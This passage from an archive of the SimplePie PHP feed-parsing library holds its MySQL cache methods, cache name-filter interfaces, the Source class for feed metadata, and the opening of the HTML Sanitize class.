$feed['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['entry'][] = unserialize((string) $row);
}
} else {
return false;
}
}
}
return $data;
}
return false;
}
/**
* Retrieve the last modified time for the cache
*
* @return int|false Timestamp
*/
public function mtime()
{
if ($this->mysql === null) {
return false;
}
$query = $this->mysql->prepare('SELECT `mtime` FROM `' . $this->options['extras']['prefix'] . 'cache_data` WHERE `id` = :id');
$query->bindValue(':id', $this->id);
if ($query->execute() && ($time = $query->fetchColumn())) {
return (int) $time;
}
return false;
}
/**
* Set the last modified time to the current time
*
* @return bool Success status
*/
public function touch()
{
if ($this->mysql === null) {
return false;
}
$query = $this->mysql->prepare('UPDATE `' . $this->options['extras']['prefix'] . 'cache_data` SET `mtime` = :time WHERE `id` = :id');
$query->bindValue(':time', time());
$query->bindValue(':id', $this->id);
return $query->execute() && $query->rowCount() > 0;
}
/**
* Remove the cache
*
* @return bool Success status
*/
public function unlink()
{
if ($this->mysql === null) {
return false;
}
$query = $this->mysql->prepare('DELETE FROM `' . $this->options['extras']['prefix'] . 'cache_data` WHERE `id` = :id');
$query->bindValue(':id', $this->id);
$query2 = $this->mysql->prepare('DELETE FROM `' . $this->options['extras']['prefix'] . 'items` WHERE `feed_id` = :id');
$query2->bindValue(':id', $this->id);
return $query->execute() && $query2->execute();
}
}
class_alias('SimplePie\Cache\MySQL', 'SimplePie_Cache_MySQL');
src/Cache/CallableNameFilter.php 0000644 00000002756 15220516755 0012537 0 ustar 00 <?php
// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-License-Identifier: BSD-3-Clause
declare(strict_types=1);
namespace SimplePie\Cache;
/**
* Creating a cache filename with callables
*/
final class CallableNameFilter implements NameFilter
{
/**
* @var callable(string): string
*/
private $callable;
/**
* @param callable(string): string $callable
*/
public function __construct(callable $callable)
{
$this->callable = $callable;
}
/**
* Method to create cache filename with.
*
* The returning name MUST follow the rules for keys in PSR-16.
*
* @link https://www.php-fig.org/psr/psr-16/
*
* The returning name MUST be a string of at least one character
* that uniquely identifies a cached item, MUST only contain the
* characters A-Z, a-z, 0-9, _, and . in any order in UTF-8 encoding
* and MUST not longer then 64 characters. The following characters
* are reserved for future extensions and MUST NOT be used: {}()/\@:
*
* A provided implementing library MAY support additional characters
* and encodings or longer lengths, but MUST support at least that
* minimum.
*
* @param string $name The name for the cache will be most likely an url with query string
*
* @return string the new cache name
*/
public function filter(string $name): string
{
return call_user_func($this->callable, $name);
}
}
src/Cache/NameFilter.php 0000644 00000002227 15220516755 0011110 0 ustar 00 <?php
// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-License-Identifier: BSD-3-Clause
declare(strict_types=1);
namespace SimplePie\Cache;
/**
* Interface for creating a cache filename
*/
interface NameFilter
{
/**
* Method to create cache filename with.
*
* The returning name MUST follow the rules for keys in PSR-16.
*
* @link https://www.php-fig.org/psr/psr-16/
*
* The returning name MUST be a string of at least one character
* that uniquely identifies a cached item, MUST only contain the
* characters A-Z, a-z, 0-9, _, and . in any order in UTF-8 encoding
* and MUST not longer then 64 characters. The following characters
* are reserved for future extensions and MUST NOT be used: {}()/\@:
*
* A provided implementing library MAY support additional characters
* and encodings or longer lengths, but MUST support at least that
* minimum.
*
* @param string $name The name for the cache will be most likely an url with query string
*
* @return string the new cache name
*/
public function filter(string $name): string;
}
src/Source.php 0000644 00000056272 15220516755 0007330 0 ustar 00 <?php
// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-License-Identifier: BSD-3-Clause
declare(strict_types=1);
namespace SimplePie;
/**
* Handles `<atom:source>`
*
* Used by {@see \SimplePie\Item::get_source()}
*
* This class can be overloaded with {@see \SimplePie::set_source_class()}
*/
class Source implements RegistryAware
{
/** @var Item */
public $item;
/** @var array<string, mixed> */
public $data = [];
/** @var Registry */
protected $registry;
/**
* @param array<string, mixed> $data
*/
public function __construct(Item $item, array $data)
{
$this->item = $item;
$this->data = $data;
}
/**
* @return void
*/
public function set_registry(\SimplePie\Registry $registry)
{
$this->registry = $registry;
}
/**
* @return string
*/
public function __toString()
{
return md5(serialize($this->data));
}
/**
* @param string $namespace
* @param string $tag
* @return array<array<string, mixed>>|null
*/
public function get_source_tags(string $namespace, string $tag)
{
if (isset($this->data['child'][$namespace][$tag])) {
return $this->data['child'][$namespace][$tag];
}
return null;
}
/**
* @param array<string, mixed> $element
* @return string
*/
public function get_base(array $element = [])
{
return $this->item->get_base($element);
}
/**
* @param string $data
* @param int-mask-of<SimplePie::CONSTRUCT_*> $type
* @param string $base
* @return string
*/
public function sanitize(string $data, $type, string $base = '')
{
return $this->item->sanitize($data, $type, $base);
}
/**
* @return Item
*/
public function get_item()
{
return $this->item;
}
/**
* @return string|null
*/
public function get_title()
{
if ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_10, 'title')) {
return $this->sanitize($return[0]['data'], $this->registry->call(Misc::class, 'atom_10_construct_type', [$return[0]['attribs']]), $this->get_base($return[0]));
} elseif ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_03, 'title')) {
return $this->sanitize($return[0]['data'], $this->registry->call(Misc::class, 'atom_03_construct_type', [$return[0]['attribs']]), $this->get_base($return[0]));
} elseif ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_RSS_10, 'title')) {
return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_MAYBE_HTML, $this->get_base($return[0]));
} elseif ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_RSS_090, 'title')) {
return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_MAYBE_HTML, $this->get_base($return[0]));
} elseif ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_RSS_20, 'title')) {
return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_MAYBE_HTML, $this->get_base($return[0]));
} elseif ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_DC_11, 'title')) {
return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
} elseif ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_DC_10, 'title')) {
return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
}
return null;
}
/**
* @param int $key
* @return Category|null
*/
public function get_category(int $key = 0)
{
$categories = $this->get_categories();
if (isset($categories[$key])) {
return $categories[$key];
}
return null;
}
/**
* @return array<Category>|null
*/
public function get_categories()
{
$categories = [];
foreach ((array) $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_10, 'category') as $category) {
$term = null;
$scheme = null;
$label = null;
if (isset($category['attribs']['']['term'])) {
$term = $this->sanitize($category['attribs']['']['term'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
}
if (isset($category['attribs']['']['scheme'])) {
$scheme = $this->sanitize($category['attribs']['']['scheme'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
}
if (isset($category['attribs']['']['label'])) {
$label = $this->sanitize($category['attribs']['']['label'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
}
$categories[] = $this->registry->create(Category::class, [$term, $scheme, $label]);
}
foreach ((array) $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_RSS_20, 'category') as $category) {
// This is really the label, but keep this as the term also for BC.
// Label will also work on retrieving because that falls back to term.
$term = $this->sanitize($category['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
if (isset($category['attribs']['']['domain'])) {
$scheme = $this->sanitize($category['attribs']['']['domain'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
} else {
$scheme = null;
}
$categories[] = $this->registry->create(Category::class, [$term, $scheme, null]);
}
foreach ((array) $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_DC_11, 'subject') as $category) {
$categories[] = $this->registry->create(Category::class, [$this->sanitize($category['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT), null, null]);
}
foreach ((array) $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_DC_10, 'subject') as $category) {
$categories[] = $this->registry->create(Category::class, [$this->sanitize($category['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT), null, null]);
}
if (!empty($categories)) {
return array_unique($categories);
}
return null;
}
/**
* @param int $key
* @return Author|null
*/
public function get_author(int $key = 0)
{
$authors = $this->get_authors();
if (isset($authors[$key])) {
return $authors[$key];
}
return null;
}
/**
* @return array<Author>|null
*/
public function get_authors()
{
$authors = [];
foreach ((array) $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_10, 'author') as $author) {
$name = null;
$uri = null;
$email = null;
if (isset($author['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['name'][0]['data'])) {
$name = $this->sanitize($author['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['name'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
}
if (isset($author['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['uri'][0]['data'])) {
$uri = $author['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['uri'][0];
$uri = $this->sanitize($uri['data'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_base($uri));
}
if (isset($author['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['email'][0]['data'])) {
$email = $this->sanitize($author['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['email'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
}
if ($name !== null || $email !== null || $uri !== null) {
$authors[] = $this->registry->create(Author::class, [$name, $uri, $email]);
}
}
if ($author = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_03, 'author')) {
$name = null;
$url = null;
$email = null;
if (isset($author[0]['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['name'][0]['data'])) {
$name = $this->sanitize($author[0]['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['name'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
}
if (isset($author[0]['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['url'][0]['data'])) {
$url = $author[0]['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['url'][0];
$url = $this->sanitize($url['data'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_base($url));
}
if (isset($author[0]['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['email'][0]['data'])) {
$email = $this->sanitize($author[0]['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['email'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
}
if ($name !== null || $email !== null || $url !== null) {
$authors[] = $this->registry->create(Author::class, [$name, $url, $email]);
}
}
foreach ((array) $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_DC_11, 'creator') as $author) {
$authors[] = $this->registry->create(Author::class, [$this->sanitize($author['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT), null, null]);
}
foreach ((array) $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_DC_10, 'creator') as $author) {
$authors[] = $this->registry->create(Author::class, [$this->sanitize($author['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT), null, null]);
}
foreach ((array) $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_ITUNES, 'author') as $author) {
$authors[] = $this->registry->create(Author::class, [$this->sanitize($author['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT), null, null]);
}
if (!empty($authors)) {
return array_unique($authors);
}
return null;
}
/**
* @param int $key
* @return Author|null
*/
public function get_contributor(int $key = 0)
{
$contributors = $this->get_contributors();
if (isset($contributors[$key])) {
return $contributors[$key];
}
return null;
}
/**
* @return array<Author>|null
*/
public function get_contributors()
{
$contributors = [];
foreach ((array) $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_10, 'contributor') as $contributor) {
$name = null;
$uri = null;
$email = null;
if (isset($contributor['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['name'][0]['data'])) {
$name = $this->sanitize($contributor['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['name'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
}
if (isset($contributor['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['uri'][0]['data'])) {
$uri = $contributor['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['uri'][0];
$uri = $this->sanitize($uri['data'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_base($uri));
}
if (isset($contributor['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['email'][0]['data'])) {
$email = $this->sanitize($contributor['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_10]['email'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
}
if ($name !== null || $email !== null || $uri !== null) {
$contributors[] = $this->registry->create(Author::class, [$name, $uri, $email]);
}
}
foreach ((array) $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_03, 'contributor') as $contributor) {
$name = null;
$url = null;
$email = null;
if (isset($contributor['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['name'][0]['data'])) {
$name = $this->sanitize($contributor['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['name'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
}
if (isset($contributor['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['url'][0]['data'])) {
$url = $contributor['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['url'][0];
$url = $this->sanitize($url['data'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_base($url));
}
if (isset($contributor['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['email'][0]['data'])) {
$email = $this->sanitize($contributor['child'][\SimplePie\SimplePie::NAMESPACE_ATOM_03]['email'][0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
}
if ($name !== null || $email !== null || $url !== null) {
$contributors[] = $this->registry->create(Author::class, [$name, $url, $email]);
}
}
if (!empty($contributors)) {
return array_unique($contributors);
}
return null;
}
/**
* @param int $key
* @param string $rel
* @return string|null
*/
public function get_link(int $key = 0, string $rel = 'alternate')
{
$links = $this->get_links($rel);
if (isset($links[$key])) {
return $links[$key];
}
return null;
}
/**
* Added for parity between the parent-level and the item/entry-level.
*
* @return string|null
*/
public function get_permalink()
{
return $this->get_link(0);
}
/**
* @param string $rel
* @return array<string>|null
*/
public function get_links(string $rel = 'alternate')
{
if (!isset($this->data['links'])) {
$this->data['links'] = [];
if ($links = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_10, 'link')) {
foreach ($links as $link) {
if (isset($link['attribs']['']['href'])) {
$link_rel = (isset($link['attribs']['']['rel'])) ? $link['attribs']['']['rel'] : 'alternate';
$this->data['links'][$link_rel][] = $this->sanitize($link['attribs']['']['href'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_base($link));
}
}
}
if ($links = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_03, 'link')) {
foreach ($links as $link) {
if (isset($link['attribs']['']['href'])) {
$link_rel = (isset($link['attribs']['']['rel'])) ? $link['attribs']['']['rel'] : 'alternate';
$this->data['links'][$link_rel][] = $this->sanitize($link['attribs']['']['href'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_base($link));
}
}
}
if ($links = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_RSS_10, 'link')) {
$this->data['links']['alternate'][] = $this->sanitize($links[0]['data'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_base($links[0]));
}
if ($links = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_RSS_090, 'link')) {
$this->data['links']['alternate'][] = $this->sanitize($links[0]['data'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_base($links[0]));
}
if ($links = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_RSS_20, 'link')) {
$this->data['links']['alternate'][] = $this->sanitize($links[0]['data'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_base($links[0]));
}
$keys = array_keys($this->data['links']);
foreach ($keys as $key) {
$key = (string) $key;
if ($this->registry->call(Misc::class, 'is_isegment_nz_nc', [$key])) {
if (isset($this->data['links'][\SimplePie\SimplePie::IANA_LINK_RELATIONS_REGISTRY . $key])) {
$this->data['links'][\SimplePie\SimplePie::IANA_LINK_RELATIONS_REGISTRY . $key] = array_merge($this->data['links'][$key], $this->data['links'][\SimplePie\SimplePie::IANA_LINK_RELATIONS_REGISTRY . $key]);
$this->data['links'][$key] = &$this->data['links'][\SimplePie\SimplePie::IANA_LINK_RELATIONS_REGISTRY . $key];
} else {
$this->data['links'][\SimplePie\SimplePie::IANA_LINK_RELATIONS_REGISTRY . $key] = &$this->data['links'][$key];
}
} elseif (substr($key, 0, 41) === \SimplePie\SimplePie::IANA_LINK_RELATIONS_REGISTRY) {
$this->data['links'][substr($key, 41)] = &$this->data['links'][$key];
}
$this->data['links'][$key] = array_unique($this->data['links'][$key]);
}
}
if (isset($this->data['links'][$rel])) {
return $this->data['links'][$rel];
}
return null;
}
/**
* @return string|null
*/
public function get_description()
{
if ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_10, 'subtitle')) {
return $this->sanitize($return[0]['data'], $this->registry->call(Misc::class, 'atom_10_construct_type', [$return[0]['attribs']]), $this->get_base($return[0]));
} elseif ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_03, 'tagline')) {
return $this->sanitize($return[0]['data'], $this->registry->call(Misc::class, 'atom_03_construct_type', [$return[0]['attribs']]), $this->get_base($return[0]));
} elseif ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_RSS_10, 'description')) {
return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_MAYBE_HTML, $this->get_base($return[0]));
} elseif ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_RSS_090, 'description')) {
return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_MAYBE_HTML, $this->get_base($return[0]));
} elseif ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_RSS_20, 'description')) {
return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_MAYBE_HTML, $this->get_base($return[0]));
} elseif ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_DC_11, 'description')) {
return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
} elseif ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_DC_10, 'description')) {
return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
} elseif ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_ITUNES, 'summary')) {
return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_HTML, $this->get_base($return[0]));
} elseif ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_ITUNES, 'subtitle')) {
return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_HTML, $this->get_base($return[0]));
}
return null;
}
/**
* @return string|null
*/
public function get_copyright()
{
if ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_10, 'rights')) {
return $this->sanitize($return[0]['data'], $this->registry->call(Misc::class, 'atom_10_construct_type', [$return[0]['attribs']]), $this->get_base($return[0]));
} elseif ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_03, 'copyright')) {
return $this->sanitize($return[0]['data'], $this->registry->call(Misc::class, 'atom_03_construct_type', [$return[0]['attribs']]), $this->get_base($return[0]));
} elseif ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_RSS_20, 'copyright')) {
return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
} elseif ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_DC_11, 'rights')) {
return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
} elseif ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_DC_10, 'rights')) {
return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
}
return null;
}
/**
* @return string|null
*/
public function get_language()
{
if ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_RSS_20, 'language')) {
return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
} elseif ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_DC_11, 'language')) {
return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
} elseif ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_DC_10, 'language')) {
return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
} elseif (isset($this->data['xml_lang'])) {
return $this->sanitize($this->data['xml_lang'], \SimplePie\SimplePie::CONSTRUCT_TEXT);
}
return null;
}
/**
* @return float|null
*/
public function get_latitude()
{
if ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_W3C_BASIC_GEO, 'lat')) {
return (float) $return[0]['data'];
} elseif (($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_GEORSS, 'point')) && preg_match('/^((?:-)?[0-9]+(?:\.[0-9]+)) ((?:-)?[0-9]+(?:\.[0-9]+))$/', trim($return[0]['data']), $match)) {
return (float) $match[1];
}
return null;
}
/**
* @return float|null
*/
public function get_longitude()
{
if ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_W3C_BASIC_GEO, 'long')) {
return (float) $return[0]['data'];
} elseif ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_W3C_BASIC_GEO, 'lon')) {
return (float) $return[0]['data'];
} elseif (($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_GEORSS, 'point')) && preg_match('/^((?:-)?[0-9]+(?:\.[0-9]+)) ((?:-)?[0-9]+(?:\.[0-9]+))$/', trim($return[0]['data']), $match)) {
return (float) $match[2];
}
return null;
}
/**
* @return string|null
*/
public function get_image_url()
{
if ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_ITUNES, 'image')) {
return $this->sanitize($return[0]['attribs']['']['href'], \SimplePie\SimplePie::CONSTRUCT_IRI);
} elseif ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_10, 'logo')) {
return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_base($return[0]));
} elseif ($return = $this->get_source_tags(\SimplePie\SimplePie::NAMESPACE_ATOM_10, 'icon')) {
return $this->sanitize($return[0]['data'], \SimplePie\SimplePie::CONSTRUCT_IRI, $this->get_base($return[0]));
}
return null;
}
}
class_alias('SimplePie\Source', 'SimplePie_Source');
src/RegistryAware.php 0000644 00000000677 15220516755 0010656 0 ustar 00 <?php
// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-License-Identifier: BSD-3-Clause
declare(strict_types=1);
namespace SimplePie;
/**
* Handles the injection of Registry into other class
*
* {@see \SimplePie\SimplePie::get_registry()}
*/
interface RegistryAware
{
/**
* Set the Registry into the class
*
* @return void
*/
public function set_registry(Registry $registry);
}
src/Sanitize.php 0000644 00000073221 15220516755 0007647 0 ustar 00 <?php
// SPDX-FileCopyrightText: 2004-2023 Ryan Parman, Sam Sneddon, Ryan McCue
// SPDX-License-Identifier: BSD-3-Clause
declare(strict_types=1);
namespace SimplePie;
use DOMDocument;
use DOMXPath;
use InvalidArgumentException;
use Psr\Http\Client\ClientInterface;
use Psr\Http\Message\RequestFactoryInterface;
use Psr\Http\Message\UriFactoryInterface;
use SimplePie\Cache\Base;
use SimplePie\Cache\BaseDataCache;
use SimplePie\Cache\CallableNameFilter;
use SimplePie\Cache\DataCache;
use SimplePie\Cache\NameFilter;
use SimplePie\HTTP\Client;
use SimplePie\HTTP\ClientException;
use SimplePie\HTTP\FileClient;
use SimplePie\HTTP\Psr18Client;
/**
* Used for data cleanup and post-processing
*
*
* This class can be overloaded with {@see \SimplePie\SimplePie::set_sanitize_class()}
*
* @todo Move to using an actual HTML parser (this will allow tags to be properly stripped, and to switch between HTML and XHTML), this will also make it easier to shorten a string while preserving HTML tags
*/
class Sanitize implements RegistryAware
{
// Private vars
/** @var string */
public $base = '';
// Options
/** @var bool */
public $remove_div = true;
/** @var string */
public $image_handler = '';
/** @var string[] */
public $strip_htmltags = ['base', 'blink', 'body', 'doctype', 'embed', 'font', 'form', 'frame', 'frameset', 'html', 'iframe', 'input', 'marquee', 'meta', 'noscript', 'object', 'param', 'script', 'style'];
/** @var bool */
public $encode_instead_of_strip = false;
/** @var string[] */
public $strip_attributes = ['bgsound', 'expr', 'id', 'style', 'onclick', 'onerror', 'onfinish', 'onmouseover', 'onmouseout', 'onfocus', 'onblur', 'lowsrc', 'dynsrc'];
/** @var string[] */
public $rename_attributes = [];
/** @var array<string, array<string, string>> */
public $add_attributes = ['audio' => ['preload' => 'none'], 'iframe' => ['sandbox' => 'allow-scripts allow-same-origin'], 'video' => ['preload' => 'none']];
/** @var bool */
public $strip_comments = false;
/** @var string */
public $output_encoding = 'UTF-8';
/** @var bool */
public $enable_cache = true;
/** @var string */
public $cache_location = './cache';
/** @var string&(callable(string): string) */
public $cache_name_function = 'md5';
/**
* @var NameFilter
*/
private $cache_namefilter;
/** @var int */
public $timeout = 10;
/** @var string */
public $useragent = '';
/** @var bool */
public $force_fsockopen = false;
/** @var array<string, string|string[]> */
public $replace_url_attributes = [];
/**
* @var array<int, mixed> Custom curl options
* @see SimplePie::set_curl_options()
*/
private $curl_options = [];
/** @var Registry */
public $registry;
/**
* @var DataCache|null
*/
private $cache = null;
/**
* @var int Cache duration (in seconds)
*/
private $cache_duration = 3600;
/**
* List of domains for which to force HTTPS.
* @see \SimplePie\Sanitize::set_https_domains()
* Array is a tree split at DNS levels. Example:
* array('biz' => true, 'com' => array('example' => true), 'net' => array('example' => array('www' => true)))
* @var true|array<string, true|array<string, true|array<string, array<string, true|array<string, true|array<string, true>>>>>>
*/
public $https_domains = [];
/**
* @var Client|null
*/
private $http_client = null;
public function __construct()
{
// Set defaults
$this->set_url_replacements(null);
}
/**
* @return void
*/
public function remove_div(bool $enable = true)
{
$this->remove_div = (bool) $enable;
}
/**
* @param string|false $page
* @return void
*/
public function set_image_handler($page = false)
{
if ($page) {
$this->image_handler = (string) $page;
} else {
$this->image_handler = '';
}
}
/**
* @return void
*/
public function set_registry(\SimplePie\Registry $registry)
{
$this->registry = $registry;
}
/**
* @param (string&(callable(string): string))|NameFilter $cache_name_function
* @param class-string<Cache> $cache_class
* @return void
*/
public function pass_cache_data(bool $enable_cache = true, string $cache_location = './cache', $cache_name_function = 'md5', string $cache_class = Cache::class, ?DataCache $cache = null)
{
$this->enable_cache = $enable_cache;
if ($cache_location) {
$this->cache_location = $cache_location;
}
// @phpstan-ignore-next-line Enforce PHPDoc type.
if (!is_string($cache_name_function) && !$cache_name_function instanceof NameFilter) {
throw new InvalidArgumentException(sprintf(
'%s(): Argument #3 ($cache_name_function) must be of type %s',
__METHOD__,
NameFilter::class
), 1);
}
// BC: $cache_name_function could be a callable as string
if (is_string($cache_name_function)) {
// trigger_error(sprintf('Providing $cache_name_function as string in "%s()" is deprecated since SimplePie 1.8.0, provide as "%s" instead.', __METHOD__, NameFilter::class), \E_USER_DEPRECATED);
$this->cache_name_function = $cache_name_function;
$cache_name_function = new CallableNameFilter($cache_name_function);
}
$this->cache_namefilter = $cache_name_function;
if ($cache !== null) {
$this->cache = $cache;
}
}
/**
* Set a PSR-18 client and PSR-17 factories
*
* Allows you to use your own HTTP client implementations.
*/
final public function set_http_client(
ClientInterface $http_client,
RequestFactoryInterface $request_factory,
UriFactoryInterface $uri_factory
): void {
$this->http_client = new Psr18Client($http_client, $request_factory, $uri_factory);
}
/**
* @deprecated since SimplePie 1.9.0, use \SimplePie\Sanitize::set_http_client() instead.
* @param class-string<File> $file_class
* @param array<int, mixed> $curl_options
* @return void
*/
public function pass_file_data(string $file_class = File::class, int $timeout = 10, string $useragent = '', bool $force_fsockopen = false, array $curl_options = [])
{
// trigger_error(sprintf('SimplePie\Sanitize::pass_file_data() is deprecated since SimplePie 1.9.0, please use "SimplePie\Sanitize::set_http_client()" instead.'), \E_USER_DEPRECATED);
if ($timeout) {
$this->timeout = $timeout;
}
if ($useragent) {
$this->useragent = $useragent;
}
if ($force_fsockopen) {
$this->force_fsockopen = $force_fsockopen;
}
$this->curl_options = $curl_options;
// Invalidate the registered client.
$this->http_client = null;
}
/**
* @param string[]|string|false $tags Set a list of tags to strip, or set empty string to use default tags, or false to strip nothing.
* @return void
*/
public function strip_htmltags($tags = ['base', 'blink', 'body', 'doctype', 'embed', 'font', 'form', 'frame', 'frameset', 'html', 'iframe', 'input', 'marquee', 'meta', 'noscript', 'object', 'param', 'script', 'style'])
{
if ($tags) {
if (is_array($tags)) {
$this->strip_htmltags = $tags;
} else {
$this->strip_htmltags = explode(',', $tags);
}
} else {
$this->strip_htmltags = [];
}
}
/**
* @return void
*/
public function encode_instead_of_strip(bool $encode = false)
{
$this->encode_instead_of_strip = $encode;
}
/**
* @param string[]|string $attribs
* @return void
*/
public function rename_attributes($attribs = [])
{
if ($attribs) {
if (is_array($attribs)) {
$this->rename_attributes = $attribs;
} else {
$this->rename_attributes = explode(',', $attribs);
}
} else {
$this->rename_attributes = [];
}
}
/**
* @param string[]|string $attribs
* @return void
*/
